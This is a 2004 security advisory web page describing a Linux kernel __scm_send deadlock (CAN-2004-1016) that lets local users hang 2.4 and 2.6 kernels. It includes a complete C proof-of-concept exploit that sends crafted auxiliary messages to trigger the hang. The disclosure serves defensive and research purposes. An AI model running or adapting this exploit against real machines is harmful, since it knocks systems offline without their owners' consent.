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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Linux Kernel scm_send Local DoS Vulnerability 14 Dec. 2004    Summary A locally exploitable flaw has been found in the Linux socket layer that allows a local user to hang a vulnerable machine.   Credit: The information has been provided by Paul Starzetz. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Linux kernel versions 2.4 up to and including 2.4.28  * Linux kernel versions 2.6 up to and including 2.6.9 CVE Information: CAN-2004-1016 The Linux kernel provides a powerful socket API to user applications. Among other functions, sockets provide an universal way for IPC and user-kernel communication. The socket layer uses several logical sub layers. One of the layers, the auxiliary message layer (or scm layer) augments the socket API by a universal user-kernel message passing capability (see recvfrom(2) for more details on auxiliary messages). One of the scm message parsing functions invoked from the kernel sendmsg() code is __scm_send() and it suffers from a deadlock condition if a carefully prepared auxiliary message is sent to a socket by an unprivileged application. Note: The kernel 2.4 branch is not further exploitable but on the 2.6.x branch it might be possible to gain elevated privileges. Proof Of Concept /*  * Linux kernel 2.4 & 2.6 __scm_send DoS  * Warning! this code will hang your machine  *  * gcc -O2 scmbang.c -o scmbang  *  * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.  *  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"  * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION  * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.  *  */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <sys/socket.h> #include <arpa/inet.h> static char buf[1024]; void fatal (const char *msg) {     printf ("\n");     if (!errno)       {           fprintf (stderr, "FATAL: %s\n", msg);       }     else       {           perror (msg);       }     printf ("\n");     fflush (stdout);     fflush (stderr);     exit (1); } int main (void) {     int s[2], r;     struct sockaddr_in sin;     struct msghdr *msg;     struct cmsghdr *cmsg;     r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);     if (r < 0)         fatal ("socketpair");     memset (buf, 0, sizeof (buf));     msg = (void *) buf;     msg->msg_control = (void *) (msg + 1); // make bad cmsgs     cmsg = (void *) msg->msg_control;     cmsg->cmsg_len = sizeof (*cmsg);     cmsg->cmsg_level = 0xdeadbebe;     cmsg->cmsg_type = 12; // len after overflow on second msg     cmsg++; // -12 for deadlock     cmsg->cmsg_len = -12;     cmsg->cmsg_level = SOL_IP;     msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control;     r = sendmsg (s[0], msg, 0);     if (r < 0)         fatal ("sendmsg");     printf ("\nYou lucky\n");     fflush (stdout);     return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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